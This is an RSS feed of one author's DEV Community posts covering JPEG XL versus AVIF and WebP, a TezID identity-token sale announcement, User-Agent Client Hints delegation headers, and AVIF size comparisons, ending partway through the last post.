<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Jon Arne S.</title>
    <description>The latest articles on DEV Community by Jon Arne S. (@jonarnes).</description>
    <link>https://dev.to/jonarnes</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F285987%2F42424f7d-aa96-45bd-b339-f038b09e2873.png</url>
      <title>DEV Community: Jon Arne S.</title>
      <link>https://dev.to/jonarnes</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/jonarnes"/>
    <language>en</language>
    <item>
      <title>Get ready for JPEG XL today 🚀</title>
      <dc:creator>Jon Arne S.</dc:creator>
      <pubDate>Thu, 17 Aug 2023 10:46:20 +0000</pubDate>
      <link>https://dev.to/jonarnes/get-ready-for-jpeg-xl-today-204j</link>
      <guid>https://dev.to/jonarnes/get-ready-for-jpeg-xl-today-204j</guid>
      <description>&lt;p&gt;&lt;a href="https://dev.to/robole/safari-goes-all-in-on-images-c4m"&gt;Safari 17 with macOS 14 or iOS17 will introduce support for JPEG XL and HEIC&lt;/a&gt;. Usually new versions of Apple's operating systems are released in September.&lt;/p&gt;

&lt;p&gt;September is just around the corner, so we better get ready to serve next-gen image formats to Apple users.&lt;br&gt;
Here's why and how:&lt;/p&gt;

&lt;h2&gt;
  
  
  JPEG XL is superior to both AVIF and WEBP
&lt;/h2&gt;

&lt;p&gt;I'll define "Superior" like this:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;smaller file size&lt;/li&gt;
&lt;li&gt;better visual quality&lt;/li&gt;
&lt;li&gt;better encoding and decoding efficiency&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Before we compare JPEG XL and AVIF, let me just say that WEBP is great for most use cases. It handles all kinds of images (photographs, graphics etc.) fairly well and has a lower file size than the good ol' JPEG. &lt;/p&gt;

&lt;p&gt;WEBP encoding and decoding is also super fast compared to AVIF and JPEG XL. &lt;/p&gt;

&lt;p&gt;All in all, WEBP is a better format than JPEG and has close to 100% browser coverage by now. An OK choice for most cases.&lt;/p&gt;

&lt;h3&gt;
  
  
  JPEG XL vs. AVIF
&lt;/h3&gt;

&lt;p&gt;Now, this becomes interesting. Google &lt;a href="https://bugs.chromium.org/p/chromium/issues/detail?id=1178058#c84"&gt;does not believe in JPEG XL&lt;/a&gt; and has removed all support. Why? "There is not enough interest from the entire ecosystem" and "does not bring sufficient incremental benefits", they claim. &lt;/p&gt;

&lt;p&gt;The ecosystem is pushing back back, documenting the benefits of JPEG XL. DAMs like Cloudinary and ImageCDNs like ImageEngine has already &lt;a href="https://support.imageengine.io/hc/en-us/articles/16739209580301-JPEG-XL-jxl-in-ImageEngine"&gt;added support for JPEG XL&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Why does the ecosystem embrace JPEG XL?&lt;/p&gt;

&lt;p&gt;Put short, JPEG XL has a better "file size to visual quality" ratio. Which means JPEG XL is able to produce better looking images at a smaller byte size than AVIF.&lt;/p&gt;

&lt;p&gt;The chart below shows a comparison of byte sizes for a small sample of images across various image formats.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--uRmUNSkV--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ogitdxlww0uo6wo2ipyh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--uRmUNSkV--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ogitdxlww0uo6wo2ipyh.png" alt="Image description" width="800" height="319"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Even thought the difference between JPEG XL and AVIF is not big, there are a few things to make not of:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The byte size of avif images, and how much AVIF is able to optimize varies a lot!&lt;/li&gt;
&lt;li&gt;JPEG XL produce higher visual quality than AVIF at the same file size&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;JPEG XL is super stable when it comes to optimization factor:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--lFf6g96g--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/cpbgioc4k3w6n8pyhkmv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--lFf6g96g--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/cpbgioc4k3w6n8pyhkmv.png" alt="JXL stable optimization factor" width="800" height="237"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;One of the reasons may be that AVIF relies on the HEIF container format. HEIF has a holds a lot of metadata in the header. For small images, measured by pixel size, the header makes up a significant share of the total file size. Because the header can't be compressed, there is a &lt;a href="https://css-tricks.com/three-things-you-didnt-know-about-avif/"&gt;limit to how much small images can be optimized&lt;/a&gt; using AVIF.&lt;/p&gt;

&lt;p&gt;The chart below shows a comparison of visual quality between formats. &lt;a href="https://github.com/kornelski/dssim"&gt;SSIM&lt;/a&gt; is used to determine the quality. Lower is better.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--pysZnPpN--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/s4ngq97urd144grl3v51.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--pysZnPpN--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/s4ngq97urd144grl3v51.png" alt="SSIM comparison for visual quality. JXL is better" width="488" height="292"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The takeaway here is that JPEG XL images generally looks better than AVIF. Less artefacts and less "smoothening" making JPEG XL better for most kind of images. It is likely that one can be more aggressive with the quality settings for JPEG XL to reduce the byte size even further. Making JPEG XL even smaller compared to AVIF.&lt;/p&gt;

&lt;h2&gt;
  
  
  Start serving JPEG XL today
&lt;/h2&gt;

&lt;p&gt;September, when 50% of the mobile users and 20% of the desktop users will have support for JPEG XL, is arriving fast.&lt;/p&gt;

&lt;p&gt;Already now you can start kicking the tires of JPEG XL. It can be enabled in Firefox Nightly via the &lt;code&gt;image.jxl.enabled&lt;/code&gt; flag in &lt;code&gt;about:config&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Like mentioned, many image CDNs has already added support for JPEG XL. By using an external provider you don't have to manually go through all images and convert to JPEG XL. The image CDN will automatically serve JPEG XL to supporting browsers and other formats to other browsers.&lt;/p&gt;

&lt;p&gt;One of the first image CDNs to support JPEG XL is &lt;a href="https://support.imageengine.io/hc/en-us/articles/16739209580301-JPEG-XL-jxl-in-ImageEngine"&gt;ImageEngine&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;With ImageEngine you can &lt;a href="https://control.imageengine.io/register"&gt;sign up for a trial&lt;/a&gt; to start testing JPEG XL&lt;/p&gt;

&lt;p&gt;Follow the instructions to get your site set up. Note that &lt;code&gt;localhost&lt;/code&gt; will not work when you define the image origin. &lt;/p&gt;

&lt;p&gt;Once you've set up, &lt;a href="https://support.imageengine.io/hc/en-us/articles/18576588320141"&gt;set JPEG XL (jxl) as the preferred format&lt;/a&gt;. This will make ImageEngine select JPEG XL over AVIF, for example, if both formats are equally well supported by the browser.&lt;/p&gt;

&lt;p&gt;Voila, you can now enjoy JPEG XL in Firefox Nightly, and you're ready for Safari 17 in September! 🚀&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>frontend</category>
      <category>performance</category>
      <category>webperf</category>
    </item>
    <item>
      <title>What does JPEG XL Mean for the Web</title>
      <dc:creator>Jon Arne S.</dc:creator>
      <pubDate>Fri, 16 Jun 2023 13:56:56 +0000</pubDate>
      <link>https://dev.to/jonarnes/what-does-jpeg-xl-mean-for-the-web-369</link>
      <guid>https://dev.to/jonarnes/what-does-jpeg-xl-mean-for-the-web-369</guid>
      <description>&lt;p&gt;Safari 17 along with the next update of iOS and macOS will provide support for the long wanted &lt;a href="https://jpeg.org/jpegxl/"&gt;JPEG XL (jxl)&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The &lt;a href="https://developer.apple.com/videos/play/wwdc2023/10122/"&gt;announcement caught the world by (pleasant) surprise&lt;/a&gt;, especially after Chrome decided to drop support.&lt;/p&gt;

&lt;p&gt;*&lt;em&gt;What does the introduction of JPEG XL mean for the web community of developers and other stake holders?&lt;br&gt;
*&lt;/em&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;It's royalty free: Use it as much as you want, no questions asked. You might remember GIF, but more recently also &lt;a href="https://news.ycombinator.com/item?id=23264295"&gt;HEIC has patent issues&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;JPEG XL is made for images/pictures. Unlike AVIF and WEBP which are both based on a video codec.&lt;/li&gt;
&lt;li&gt;The point above means that JPEG XL will provide higher quality images compared to AVIF and WEBP. Especially on photographic images with many details or a high bit rate.&lt;/li&gt;
&lt;li&gt;Low file size. JPEG XL compresses super well! In most cases &lt;a href="https://mastodon.online/@jonarnes/110514451857948151"&gt;better than AVIF&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;JPEG XL supports wide color gamut and HDR&lt;/li&gt;
&lt;li&gt;Faster encoding and decoding compared to AVIF.&lt;/li&gt;
&lt;li&gt;JPEG XL is lossless. You can even convert your existing jpeg to jxl losslessly and still reduce the file size!&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;...put short: Much better than JPEG.&lt;/p&gt;

&lt;p&gt;So. This might also mean yet a &lt;code&gt;&amp;lt;source&amp;gt;&lt;/code&gt; to your &lt;code&gt;&amp;lt;picture&amp;gt;&lt;/code&gt; element...which is becoming quite verbose, now... Might also mean a new format to generate in your build process...&lt;/p&gt;

&lt;p&gt;The good news is that the tooling and plumbing on the internet &lt;a href="https://github.com/ImageMagick/jpeg-xl/blob/main/doc/software_support.md"&gt;already has pretty good support for JPEG XL&lt;/a&gt;. &lt;/p&gt;

&lt;p&gt;Because of how well supported JPEG XL is and its unique qualities in compression, losslessly maintaining image data, color support etc. &lt;strong&gt;JPEG XL should be your new default format&lt;/strong&gt;. Move all your images from JPEG to JPEG XL.&lt;/p&gt;

&lt;p&gt;We've recently also implemented &lt;a href="https://support.imageengine.io/hc/en-us/articles/16739209580301"&gt;support for JPEG XL in ImageEngine (image CDN)&lt;/a&gt;. When the origin image is a jxl, the chances of a better looking image for the end users is much greater thanks to the qualities of JPEG XL. Specially with regards to colors. Image CDNs will convert a JPEG XL to AVIF for non-supporting browsers (Chrome for example), and maintain the wide color space.&lt;/p&gt;

&lt;p&gt;As a bonus, it's light weight and great looking :)&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>jpegxl</category>
      <category>jxl</category>
    </item>
    <item>
      <title>TezID - the Identity Oracle for Tezos</title>
      <dc:creator>Jon Arne S.</dc:creator>
      <pubDate>Mon, 06 Sep 2021 12:13:49 +0000</pubDate>
      <link>https://dev.to/jonarnes/tezid-the-identity-oracle-for-tezos-36lj</link>
      <guid>https://dev.to/jonarnes/tezid-the-identity-oracle-for-tezos-36lj</guid>
      <description>&lt;p&gt;Imagine a world where you can choose whether to reveal your identity or not. The more of a stake you have in such a world, the more likely others will want to know who you are. This is why providing evidence verifying someone's identity will be just as crucial as owning property or having access to services. This blog post will discuss how &lt;a href="https://blog.tezid.net/idz-9f233a127e4c" rel="noopener noreferrer"&gt;$IDZ tokens&lt;/a&gt; will fuel the future of self-sovereign identity and introduce its tokenomics.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is TezID?
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://tezid.net" rel="noopener noreferrer"&gt;TezID&lt;/a&gt; is an identity oracle that provides users with a standard way to prove their identity in the Tezos ecosystem.&lt;/p&gt;

&lt;p&gt;TezID runs on top of the proof-of-stake blockchain used by the Tezos protocol, but it is not dependent on that specific blockchain consensus algorithm to operate. It can provide this function for any proof-of-stake blockchain system. TezID offers the following identity solutions:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Authentication of identity using cryptographic signatures&lt;/li&gt;
&lt;li&gt;Proof of ownership of an identity string&lt;/li&gt;
&lt;li&gt;Creation, revocation and renewal of identities&lt;/li&gt;
&lt;li&gt;Decentralized lookup services for identities under its control&lt;/li&gt;
&lt;li&gt;Verifying that an identity, previously created by TezID, has not been revoked (and thus is still valid)&lt;/li&gt;
&lt;li&gt;Validating that an identity was not produced more than once at the same time&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The first four of these functions are explained in detail on TezID's website. The intersection of cryptography and game theory allows TezID to achieve these functions in a trustless, decentralized manner.&lt;/p&gt;

&lt;h2&gt;
  
  
  $IDZ Tokenomics
&lt;/h2&gt;

&lt;p&gt;$IDZ is a FA2 token with a maximum supply of 10,000,000 tokens. It will have many valuable utilities and be available for purchase in an upcoming public sale on Rocket Launchpad! There will also be an airdrop, so make sure you &lt;em&gt;sign up early if you want some free tokens&lt;/em&gt;!&lt;/p&gt;

&lt;p&gt;In order to provide a strong incentive to the $IDZ holders and contribute to the growth of the TezID community, the TezID team has clearly outlined the $IDZ utilities.  &lt;/p&gt;

&lt;h3&gt;
  
  
  Revenue Sharing
&lt;/h3&gt;

&lt;p&gt;The TezID team is introducing a revenue-sharing model that allows token holders, stakers and official farming participants to earn income from the proof registration fees. They start at 50% of all income distributed this way but hope to increase over time through an automated process controlled by DAO. This will encourage people to hold onto their tokens and help spread the use cases for its platform so it can grow even more rapidly!&lt;/p&gt;

&lt;p&gt;Only token holders that have unlocked their tokens will be able to earn income from this venture. This means founders, advisors, and private sale participants cannot share in the profits until they unlock their own tokens!&lt;/p&gt;

&lt;h3&gt;
  
  
  Decentralized Proofs
&lt;/h3&gt;

&lt;p&gt;In the blockchain space, most people are looking beyond nation-states and want to create new social norms on-chain. This means they might be hesitant to provide national identification papers or even have access to those documents. Therefore a &lt;a href="https://blog.tezid.net/tezid-roadmap-9bf200237dd4" rel="noopener noreferrer"&gt;decentralized identity&lt;/a&gt; becomes useful as it provides a set of tools and incentives for individuals to prove that they're real human beings anonymously--without providing government documentation.&lt;/p&gt;

&lt;p&gt;TezID aims to distribute &lt;a href="https://blog.tezid.net/tezid-roadmap-9bf200237dd4" rel="noopener noreferrer"&gt;decentralized identity&lt;/a&gt; proofs that require payment from the requester (registering the proof), which will, in turn, be used as payment for verifiers who verify their identities. All of this is conducted using $IDZ.&lt;/p&gt;

&lt;h3&gt;
  
  
  Custom Prooftypes
&lt;/h3&gt;

&lt;p&gt;You might want to share many things securely with a dapp, including your contract terms or role at an organization. You can prove that they're yours by demonstrating "control" over some custom resources, which TezID will facilitate via proof of ownership.&lt;/p&gt;

&lt;p&gt;The team strongly believes &lt;a href="https://blog.tezid.net/tezid-roadmap-9bf200237dd4" rel="noopener noreferrer"&gt;custom prooftypes&lt;/a&gt; will be necessary for many future applications. They have plans to explore this opportunity and offer their development resources to implement these proofs.&lt;/p&gt;

&lt;p&gt;All custom prooftypes payments will be done using $IDZ!&lt;/p&gt;

&lt;h3&gt;
  
  
  Proof Payment
&lt;/h3&gt;

&lt;p&gt;TezID will accept proof payment in $IDZ. However, to ensure that the process remains simple for our users to register proofs, they will continue supporting the use of XTZ and QuipuSwap as the conversion currency behind the scenes.&lt;/p&gt;

&lt;h2&gt;
  
  
  Public Sale
&lt;/h2&gt;

&lt;p&gt;The $IDZ public sale will take place on &lt;em&gt;September 12, 2021, at 14:00 UTC.&lt;/em&gt; There is a minimum of 50 XTZ and no maximum purchase amount.&lt;/p&gt;

&lt;p&gt;The first-come, first-serve system applies based on the Rocket Tier System, which assigns priority status to those who buy more tokens for TGEs in the past (or are part of Quipu). Tokens will be liquid immediately after-sale concludes! &lt;/p&gt;

&lt;p&gt;40% of the amount raised from the TGE will be assigned to an AMM contract set up with QuipuSwap using Crunchy Deep Freezer technology that handles all transactions automatically by the team here at Rockets HQ.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flucyvofvbfnyhehdkkwa.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flucyvofvbfnyhehdkkwa.png" alt="IDZ token details"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Final Thoughts
&lt;/h2&gt;

&lt;p&gt;Remember, the $IDZ public token sale has a minimum requirement price of 50 XTZ, but there's also no upper limit cap! &lt;/p&gt;

&lt;p&gt;Anyone who has registered a proof on tezid.net before 12.09.2021 14:00 UTC will be eligible for the airdrop!&lt;/p&gt;

</description>
      <category>blockchain</category>
    </item>
    <item>
      <title>User-Agent Client-Hints, take 2</title>
      <dc:creator>Jon Arne S.</dc:creator>
      <pubDate>Fri, 12 Mar 2021 13:49:46 +0000</pubDate>
      <link>https://dev.to/jonarnes/user-agent-client-hints-take-2-o4n</link>
      <guid>https://dev.to/jonarnes/user-agent-client-hints-take-2-o4n</guid>
      <description>&lt;p&gt;I’ve written a &lt;a href="https://mpulp.mobi/tag/ua-ch/"&gt;couple of post about User-Agent Client-Hints (UA-CH)&lt;/a&gt; before, and in specific how to &lt;a href="https://mpulp.mobi/2020/05/27/delegate-user-agent-client-hints-to-3rd-parties/"&gt;delegate UA-CH to third party sites or domains&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Delegating UA-CH is useful when you need other sites, domains or hostnames to receive the additional information. One example is if you’re using an image CDN to optimize images.&lt;/p&gt;

&lt;p&gt;Since Chrome v84 the Chrome team has had a few set backs which has resulted in some changes. In addition, the feature policy header, for delegating the client hints to third parties, has &lt;a href="https://github.com/w3c/webappsec-permissions-policy/blob/main/permissions-policy-explainer.md"&gt;changed name to Permissions-Policy&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Based on my previous post, let’s see what’s changed, and learn how to delegate the UA-CH.&lt;/p&gt;

&lt;p&gt;First, the JavaScript API is widely open and does not require any delegation or even opt-in. IMO this is a &lt;a href="https://mpulp.mobi/2020/05/27/user-agent-client-hints-security-concerns/"&gt;privacy issue&lt;/a&gt;, and &lt;a href="https://github.com/WICG/ua-client-hints/issues/151"&gt;Apple seems to agree with me&lt;/a&gt; 🙂&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Opt-in in to Receive User-Agent Client Hints
&lt;/h2&gt;

&lt;p&gt;We still have to explicitly opt-in to receive the client hints in response headers. In previous implementations it was very confusing because the sec-ch- perfix was not required. Now, we’ll need to include that prefix like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Accept-CH: sec-ch-ua-platform,sec-ch-ua-arch,sec-ch-ua-model,sec-ch-ua-platform-version,sec-ch-ua-full-version`
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h2&gt;
  
  
  2. Delegate UA-CH using Permissions Policy
&lt;/h2&gt;

&lt;p&gt;UA-CH was launched with Chrome v84 just around the time when feature policy was renamed to permissions policy. Chrome v89 still supports the feature-policy header, but let’s move ahead with permissions-policy just to stay bleeding edge 🙂&lt;/p&gt;

&lt;p&gt;The permissions policy is a structured header. Which makes it look a bit more complicated, but it’s really not.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;permissions-policy: ch-ua-arch=("https://foo.bar.com"), ch-ua-model=("https://foo.bar.com"), ch-ua-platform=("https://foo.bar.com"), ch-ua-platform-version=("https://foo.bar.com"), ch-ua-full-version=("https://foo.bar.com")
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Last time I noted a little caveat here, about the header names. Names are the same, but still different from the header names we used to opt-in to receive UA-CH above. Difference now, is that we don’t use the sec- prefix in the permission policy.&lt;/p&gt;
&lt;h2&gt;
  
  
  3. Read the UA-CH on your 3rd party resource
&lt;/h2&gt;

&lt;p&gt;If we’ve done everything correct, we should now receive the UA-CH headers on our 3rd party. This part has not changed since Chrome v84:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sec-ch-ua-full-version: "89.0.4389.82"
sec-ch-ua-arch: "x86"
sec-ch-ua-platform: "macOS"
sec-ch-ua-platform-version: "11_2_3"
sec-ch-ua-model: ""
sec-ch-ua-mobile: ?0
sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h2&gt;
  
  
  Try it out
&lt;/h2&gt;

&lt;p&gt;I’ve updated my little glitch to reflect the changes: &lt;a href="https://glen-wistful-protoceratops.glitch.me/"&gt;https://glen-wistful-protoceratops.glitch.me/&lt;/a&gt;&lt;/p&gt;


&lt;div class="glitch-embed-wrap"&gt;
  &lt;iframe src="https://glitch.com/embed/#!/embed/glen-wistful-protoceratops?path=index.html" alt="glen-wistful-protoceratops on glitch"&gt;&lt;/iframe&gt;
&lt;/div&gt;



&lt;p&gt;Here’s the &lt;a href="https://user-agent-client-hints.glitch.me/"&gt;“official” demo&lt;/a&gt;. However, this does not demo the delegation to other domains or third parties.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>webperf</category>
      <category>privacy</category>
    </item>
    <item>
      <title>Three Things You Didn’t Know About AVIF</title>
      <dc:creator>Jon Arne S.</dc:creator>
      <pubDate>Thu, 17 Dec 2020 08:46:44 +0000</pubDate>
      <link>https://dev.to/jonarnes/three-things-you-didn-t-know-about-avif-16df</link>
      <guid>https://dev.to/jonarnes/three-things-you-didn-t-know-about-avif-16df</guid>
      <description>&lt;p&gt;AVIF, the file format based on the AV1 video codec, is the latest addition to the next-gen image formats. Early &lt;a href="https://jakearchibald.com/2020/avif-has-landed/"&gt;reports&lt;/a&gt; and &lt;a href="https://www.ctrl.blog/entry/webp-avif-comparison.html"&gt;comparisons&lt;/a&gt; show good results compared to JPEG and WebP. However, even if browser support is good, AVIF is still on the &lt;a href="https://twitter.com/jonarnes/status/1313093339210829824"&gt;bleeding edge&lt;/a&gt; in regards to encoding and decoding. Encoding, decoding, settings and parameters has been well discussed elsewhere. &lt;/p&gt;

&lt;p&gt;No doubt, AVIF images generate a smaller payload and are nice looking. In this post, we’ll take a closer look at issues to be aware or before you go all in on AVIF. &lt;/p&gt;

&lt;h2&gt;
  
  
  1) WebP is Better for Thumbnails
&lt;/h2&gt;

&lt;p&gt;One interesting observation is that for small dimension images, WebP will produce lighter payload images than AVIF.&lt;/p&gt;

&lt;p&gt;It’s probably possible to explain why, and tune the encoder to address this case. However, that is not an option for most people. Most people would probably rely on an image optimizer like &lt;a href="https://squoosh.app"&gt;squoosh.app&lt;/a&gt; or an Image CDN like &lt;a href="https://imageengine.io/"&gt;ImageEngine&lt;/a&gt;. The below comparison uses exactly these two alternatives for AVIF conversion. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--f8OJapwE--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/1411amgc8dww539cdllh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--f8OJapwE--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/1411amgc8dww539cdllh.png" alt="ImageEngine vs Squoosh app AVIF stats"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We see that WebP will generally produce images with a higher file size than AVIF. On larger dimension images Image Engine performs significantly better than squoosh.app. &lt;/p&gt;

&lt;p&gt;Now, to the interesting observation. On images around 100px x 100px squoosh.app passes ImageEngine on effectiveness, but then also WEBP catches up and for a 80px x 80px image, WebPis actually the most effective image measured in file size. &lt;/p&gt;

&lt;p&gt;The test performs relatively consistently on different types of images. For this illustration, &lt;a href="https://picsum.photos/seed/643/50"&gt;this image&lt;/a&gt; from Picsum is used.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
  &lt;tr&gt;
   &lt;td&gt;Pixels
   &lt;/td&gt;
   &lt;td&gt;
&lt;p&gt;
Original JPEG (bytes)&lt;/p&gt;

   &lt;/td&gt;
   &lt;td&gt;
&lt;p&gt;
Optimized WebP (bytes)&lt;/p&gt;

   &lt;/td&gt;
   &lt;td&gt;
&lt;p&gt;
ImageEngine AVIF (bytes)&lt;/p&gt;

   &lt;/td&gt;
   &lt;td&gt;
&lt;p&gt;
squoosh.app AVIF (bytes)&lt;/p&gt;

   &lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;50
   &lt;/td&gt;
   &lt;td&gt;
&lt;p&gt;
1,475&lt;/p&gt;

   &lt;/td&gt;
   &lt;td&gt;
&lt;p&gt;
598&lt;/p&gt;

   &lt;/td&gt;
   &lt;td&gt;
&lt;p&gt;
888&lt;/p&gt;

   &lt;/td&gt;
   &lt;td&gt;
&lt;p&gt;
687&lt;/p&gt;

   &lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;80
   &lt;/td&gt;
   &lt;td&gt;
&lt;p&gt;
2,090&lt;/p&gt;

   &lt;/td&gt;
   &lt;td&gt;
&lt;p&gt;
1,076&lt;/p&gt;

   &lt;/td&gt;
   &lt;td&gt;
&lt;p&gt;
1,234&lt;/p&gt;

   &lt;/td&gt;
   &lt;td&gt;
&lt;p&gt;
1,070&lt;/p&gt;

   &lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;110
   &lt;/td&gt;
   &lt;td&gt;
&lt;p&gt;
3,022&lt;/p&gt;

   &lt;/td&gt;
   &lt;td&gt;
&lt;p&gt;
1,716&lt;/p&gt;

   &lt;/td&gt;
   &lt;td&gt;
&lt;p&gt;
1,592&lt;/p&gt;

   &lt;/td&gt;
   &lt;td&gt;
&lt;p&gt;
1,580&lt;/p&gt;

   &lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;150
   &lt;/td&gt;
   &lt;td&gt;
&lt;p&gt;
4,457&lt;/p&gt;

   &lt;/td&gt;
   &lt;td&gt;
&lt;p&gt;
2,808&lt;/p&gt;

   &lt;/td&gt;
   &lt;td&gt;
&lt;p&gt;
2,153&lt;/p&gt;

   &lt;/td&gt;
   &lt;td&gt;
&lt;p&gt;
2,275&lt;/p&gt;

   &lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;170
   &lt;/td&gt;
   &lt;td&gt;
&lt;p&gt;
5,300&lt;/p&gt;

   &lt;/td&gt;
   &lt;td&gt;
&lt;p&gt;
3,224&lt;/p&gt;

   &lt;/td&gt;
   &lt;td&gt;
&lt;p&gt;
2,450&lt;/p&gt;

   &lt;/td&gt;
   &lt;td&gt;
&lt;p&gt;
2,670&lt;/p&gt;

   &lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;230
   &lt;/td&gt;
   &lt;td&gt;
&lt;p&gt;
7,792&lt;/p&gt;

   &lt;/td&gt;
   &lt;td&gt;
&lt;p&gt;
4,886&lt;/p&gt;

   &lt;/td&gt;
   &lt;td&gt;
&lt;p&gt;
3,189&lt;/p&gt;

   &lt;/td&gt;
   &lt;td&gt;
&lt;p&gt;
3,900&lt;/p&gt;

   &lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;290
   &lt;/td&gt;
   &lt;td&gt;
&lt;p&gt;
10,895&lt;/p&gt;

   &lt;/td&gt;
   &lt;td&gt;
&lt;p&gt;
6,774&lt;/p&gt;

   &lt;/td&gt;
   &lt;td&gt;
&lt;p&gt;
4,056&lt;/p&gt;

   &lt;/td&gt;
   &lt;td&gt;
&lt;p&gt;
5,130&lt;/p&gt;

   &lt;/td&gt;
  &lt;/tr&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  2) AVIF Might Not Be the Best for Product Images with High Entropy
&lt;/h2&gt;

&lt;p&gt;Typically, a product page consists of images of the product, and when a user’s mouse hovers over or clicks on the product image, it zooms in to offer a closer look at the details. &lt;/p&gt;

&lt;p&gt;It is worth noting that AVIF will in certain cases reduce the level of detail, or perceived sharpness, of the image when zoomed in. Especially on a typical product image where the background is blurred or has low entropy while foreground, and product, has more detail and possibly higher entropy. &lt;/p&gt;

